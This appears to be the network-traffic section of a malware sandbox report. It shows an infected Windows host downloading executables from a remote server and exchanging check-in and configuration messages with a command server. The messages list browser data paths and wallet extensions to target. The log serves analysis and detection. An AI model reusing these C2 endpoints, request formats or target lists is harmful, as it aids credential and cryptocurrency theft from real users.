Oct 2, 2024 05:20:01.961783886 CEST	1.1.1.1	192.168.2.4	0x53c4	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:02.810235977 CEST	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:04.106933117 CEST	1.1.1.1	192.168.2.4	0x390a	No error (0)	gravvitywio.store		104.21.16.12	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:04.106933117 CEST	1.1.1.1	192.168.2.4	0x390a	No error (0)	gravvitywio.store		172.67.209.193	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:14.634866953 CEST	1.1.1.1	192.168.2.4	0xb6a8	Name error (3)	chorusarorp.site	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:29.706548929 CEST	1.1.1.1	192.168.2.4	0xdfd2	No error (0)	steamcommunity.com		23.67.133.187	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

49.12.197.9

questionsmw.store

soldiefieop.site

abnomalrkmu.site

treatynreit.site

snarlypagowo.site

mysterisop.site

absorptioniw.site

gravvitywio.store

147.45.44.104

46.8.231.109

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49764	147.45.44.104	80	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:19:53.016431093 CEST	191	OUT	GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 05:19:53.637090921 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:53 GMT Content-Type: application/octet-stream Content-Length: 391072 Last-Modified: Tue, 01 Oct 2024 13:44:41 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfcc9-5f7a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 20 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 a0 05 00 00 06 00 00 00 00 00 00 ee be 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 a2 22 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 05 00 53 00 00 00 00 c0 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 d1 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 60 bd 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL f @ "`SBx(&` H.text `.rsrcB@@.reloc@BH@ [(<sTw/x~ITT5Q>zbS/2Ew>/dt_so>UVSa5JKYw.#s"-d-7avn\].Lt:2o1!q9_OK^")0.3$5,}3cxz2I}Ie$ .V OGUa$+%\B-U3nc,lffo` bO
Oct 2, 2024 05:19:53.637111902 CEST	224	IN	Data Raw: 16 63 32 13 dd d1 52 94 12 5d 30 6f 8c 66 c8 d4 eb ac d4 3c d5 39 1e 15 5e 6e 5c fb d2 d4 be ba 0a 5c d0 e3 32 ad 1a 0e 06 3d 1b 6e 6b ee d8 37 20 e6 2c 6f 92 38 ca ac 23 e8 62 f1 06 bc 2a 9e 54 a5 88 67 7d 71 42 b8 5b 00 ee 92 f0 da d3 1d de 7a Data Ascii: c2R]0of<9^n\\2=nk7 ,o8#bTg}qB[zl_63Bu!g<NS_V?i^</V-vG/=OtQpV_,&H"fQ~+pS0Pzm(=/}T$]
Oct 2, 2024 05:19:53.637124062 CEST	1236	IN	Data Raw: 0b 4c 17 ac 37 28 a6 8e 84 49 22 99 54 e8 cf 25 7b d0 08 e2 76 37 e3 b2 fc 3f cf 7d 76 d5 7b 33 28 b2 b2 fe c0 a9 f2 48 69 50 7c c4 b4 e3 ba 74 d9 b1 37 61 8e 8d d3 76 2e 0d 98 3e 2d b3 0c 31 39 02 32 6f cc 9a bc 79 57 b8 f2 6a 28 4e 9c 8e df 86 Data Ascii: L7(I"T%{v7?}v{3(HiP\|t7av.>-192oyWj(NpP/g4s?lfgyl5wg.L+qY/lD:!ohx19dKN_"aZMn:_}pE24D75$J ]1"[]2/YJ+_&Fg0
Oct 2, 2024 05:19:53.637173891 CEST	1236	IN	Data Raw: 28 f9 78 ec 3d b4 38 89 d2 1c 14 0a d6 5b a8 72 30 a9 11 72 c3 0e 98 eb 71 fe 3f b8 9f 7f 16 66 c0 96 12 a1 38 f1 28 dd 2d 19 f7 e3 19 f0 11 f2 d4 4c c0 0b 22 92 58 72 75 b5 57 63 30 57 9b 60 da bd 1a e6 f0 98 fe 56 15 79 fc 0c 9b 58 78 04 ae cb Data Ascii: (x=8[r0rq?f8(-L"XruWc0W`VyXx/1\|W3tdFSM9Hl@#x?R\|5W5;E8{eo7<yHDt<q$@xfDFC+\|Ev+E-HOT+v`Sz7[oZ:po!
Oct 2, 2024 05:19:53.637183905 CEST	1236	IN	Data Raw: 13 76 44 dc 11 1a e6 39 b7 26 a6 9f 7d 75 da ef 47 f4 dc 1d a2 dd 65 94 3c 0f b8 6a 1d 86 d2 7c 5d a6 4a c0 47 92 a3 4f 0a 42 9f 94 33 1b e3 62 3a 90 79 55 dc 61 03 00 d2 c9 a7 71 1a 94 ff 08 5c d8 be 64 0a e4 99 47 b2 26 4f c7 ce 4f 0d df d1 0f Data Ascii: vD9&}uGe<j\|]JGOB3b:yUaq\dG&OO{\|=`:OHvbB\|&y]SCQ>0'K#xJ,dS-sI!?B<`=+[s@eW7/I3<UnJ(<bs3.6aI9%N,Cm
Oct 2, 2024 05:19:53.637193918 CEST	1236	IN	Data Raw: 35 cc 2a 5d bd e7 3e ab d7 9b 67 7a 3c 30 f5 13 ad 15 9e b1 31 59 6d 19 ff f6 dd a5 69 c8 f8 6a b5 c6 eb 79 43 3b 9a 2e 82 27 4b 5b 11 0e 29 ba 47 d4 8a 4d d2 09 c3 13 68 a9 69 20 54 a7 8b e6 6c c3 20 3c 46 39 5a 84 c0 77 1c 7f dc b5 e7 ff f9 fd Data Ascii: 5*]>gz<01YmijyC;.'K[)GMhi Tl <F9Zw1+u3#j4Vd+rH=b\|?\K7?>jTS_LzM\VAz2WI8:klnqVC=L}R5?La$
Oct 2, 2024 05:19:53.637516022 CEST	1236	IN	Data Raw: 86 5b ac 1b 58 a1 ec 1a 3c f9 f9 64 38 78 1a 43 18 c0 71 15 af e2 61 84 4c 4f 4e be 3c f6 0b 2b 27 5b 46 63 e6 98 b9 73 1a 1a f1 e2 3d 60 d2 a2 26 6e 49 b6 38 92 b4 ab c3 28 20 dd dd 13 ff c8 af 6f 1e 17 3f 56 74 59 51 ea b4 ce 69 50 b4 2b 5e 2e Data Ascii: [X<d8xCqaLON<+'[Fcs=`&nI8( o?VtYQiP+^.0 1_f(WgGx:u8}WRz5xZ\|B`X8DFi1c[rWV@>9bJh[V*.T%0R_p7]l4FFv[VBQ
Oct 2, 2024 05:19:53.637526989 CEST	1236	IN	Data Raw: ab 93 0a a0 95 fe e2 a4 78 91 28 31 24 75 ea 5c 76 ba 3f 79 d1 c7 ff 4e 38 da 2f bb 6a 23 a7 e4 85 54 58 59 f8 b0 95 d3 84 ad d3 d9 b9 21 19 cb 1d f3 98 d0 29 3c 3d bb 97 0c 44 d8 f7 8a d7 36 ac ea fc d4 95 ef 67 2f 47 ca a1 ab 60 a6 bb 14 9c 6d Data Ascii: x(1$u\v?yN8/j#TXY!)<=D6g/G`m9&}a+:[v$JRX\PJ2e]W-DkQ-}iDkq*8]RzjR$(ZUFU:PIdO)B@WP5E['PzK
Oct 2, 2024 05:19:53.637535095 CEST	1236	IN	Data Raw: 7a 9a 43 18 30 f9 54 6a 5f 58 e5 be d3 f4 2e fd 17 65 55 69 05 66 be af 33 26 e4 a5 55 46 8e b8 17 38 c6 b2 ff ad 14 8b 53 57 8e 3e e6 50 95 6b 1f eb 90 11 72 25 13 eb d3 a5 3d a0 23 01 7f ad bb 6c b4 a9 3f ee 0f ea 4a e3 c9 1a 9e 33 bb 62 3c ee Data Ascii: zC0Tj_X.eUif3&UF8SW>Pkr%=#l?J3b<DsHW,I\'}V*(a/d1d\|89}so$HiL0-LymB\|Irr&7xY3 u<7}#=6`$"7i~S
Oct 2, 2024 05:19:53.637543917 CEST	1000	IN	Data Raw: 40 23 fc bb 6a f9 f1 85 7b 51 38 aa d0 66 c0 9a f4 5a 25 8f 15 05 ae b1 8d c4 4c 34 73 48 27 1f f0 19 1c f3 f7 31 17 37 fd 46 0f 55 fd c1 9d c8 4f 2b 8a c1 ae 17 5d 75 ef 5d d2 67 9e ef c2 4a 2f 6c 64 77 57 bb 09 d5 f6 4b f1 e2 e4 6e 88 58 2e f2 Data Ascii: @#j{Q8fZ%L4sH'17FUO+]u]gJ/ldwWKnX.o/HM5{}{fYu&b;+W8ug$P?A0cOqf8mj~vu$N><j6~k=)>jm}F+"(9
Oct 2, 2024 05:19:53.642108917 CEST	1236	IN	Data Raw: 26 4f 48 9c cf 46 47 b2 ab 47 a4 d2 e4 0f 76 98 b1 92 c2 96 08 46 0f 1f 68 ff 73 e5 5b 89 ac 9e 00 fe d3 92 56 3e b7 f4 ee 0c f9 82 5c 86 d1 9a 5b 45 c1 11 7f a9 44 02 d5 17 e0 df 06 a3 53 37 1e 94 01 6b 9b 5a 8f 79 a6 82 e1 e1 43 86 0e 12 e3 0e Data Ascii: &OHFGGvFhs[V>\[EDS7kZyC`Vx$kCps]$LSw?O6ET.k%D)-1c8t6/G<A@).V[@ENtHFc3o8KX;%y7Mtpuf
Oct 2, 2024 05:19:55.944190025 CEST	193	OUT	GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 05:19:56.127294064 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:56 GMT Content-Type: application/octet-stream Content-Length: 423840 Last-Modified: Tue, 01 Oct 2024 13:44:45 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfccd-677a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 20 06 00 00 06 00 00 00 00 00 00 ee 3e 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 a1 95 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 3e 06 00 53 00 00 00 00 40 06 00 42 02 00 00 00 00 00 00 00 00 00 00 78 51 06 00 28 26 00 00 00 60 06 00 0c 00 00 00 60 3d 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0f > @@ `>S@BxQ(&``= H.text `.rsrcB@"@@.reloc`&@B>H@+ B,Je8Xf3Zmv$:rXM6'4,OT!BC\|[{2yd?1d2mU5A93B[ltP3fAyz$[Yi[v\Bqg^pd{t}y[PvyH @'2^4h7!OwJxiv?G6^`q8NZ-TuW1zK_7-H<fz(7-@{%xB#"S4
Oct 2, 2024 05:19:58.455214977 CEST	189	OUT	GET /prog/66fbfcc301a31_swws.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 05:19:58.639544964 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:58 GMT Content-Type: application/octet-stream Content-Length: 344992 Last-Modified: Tue, 01 Oct 2024 13:44:35 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfcc3-543a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ec 04 00 00 06 00 00 00 00 00 00 ee 0a 05 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 05 00 00 02 00 00 d7 37 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 0a 05 00 53 00 00 00 00 20 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 1d 05 00 28 26 00 00 00 40 05 00 0c 00 00 00 60 09 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ `7`S Bx(&@` H.text `.rsrcB @@.reloc@@BH@ +>J]y 9=5tS4;g/kTl>GPOCB$!xVX,7DqRY\8`Mc6`D6bye>Ty"lZD;6FN6T^:z_'_r;n8Ua<D84OvZ2j;o9;a}yR\`2fvJC*Dcu'^,bF^IeHN!&xD"5zJsEHb&DI9Zl{,wF-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49775	46.8.231.109	80	6724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:20:00.819583893 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 05:20:01.435928106 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:01.438668966 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 34 31 42 38 34 44 35 44 45 44 36 33 33 30 35 32 39 38 33 36 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="hwid"B41B84D5DED63305298366------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="build"default------GIIEGHIDBGHIECAAECGD--
Oct 2, 2024 05:20:01.762392044 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 45 32 5a 44 45 31 4d 57 51 32 4e 47 46 6c 4e 47 49 31 4d 47 51 30 4d 6a 6b 78 5a 44 6c 6c 4d 57 45 79 4d 57 4a 6a 4d 44 67 35 4d 6d 55 79 4e 57 45 30 4e 47 59 32 59 32 56 68 5a 6a 4d 31 4f 47 59 33 59 57 45 30 4e 54 64 6a 4e 54 6c 6b 5a 44 67 32 4d 44 45 30 59 32 4d 33 5a 57 4d 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmE2ZDE1MWQ2NGFlNGI1MGQ0MjkxZDllMWEyMWJjMDg5MmUyNWE0NGY2Y2VhZjM1OGY3YWE0NTdjNTlkZDg2MDE0Y2M3ZWM0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 2, 2024 05:20:01.763926983 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGI Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="message"browsers------FBKJKEHIJECGCBFIJEGI--
Oct 2, 2024 05:20:01.943682909 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 2, 2024 05:20:01.943698883 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 2, 2024 05:20:01.950136900 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="message"plugins------CGCFCFBKFCFCBGDGIEGH--
Oct 2, 2024 05:20:02.129957914 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 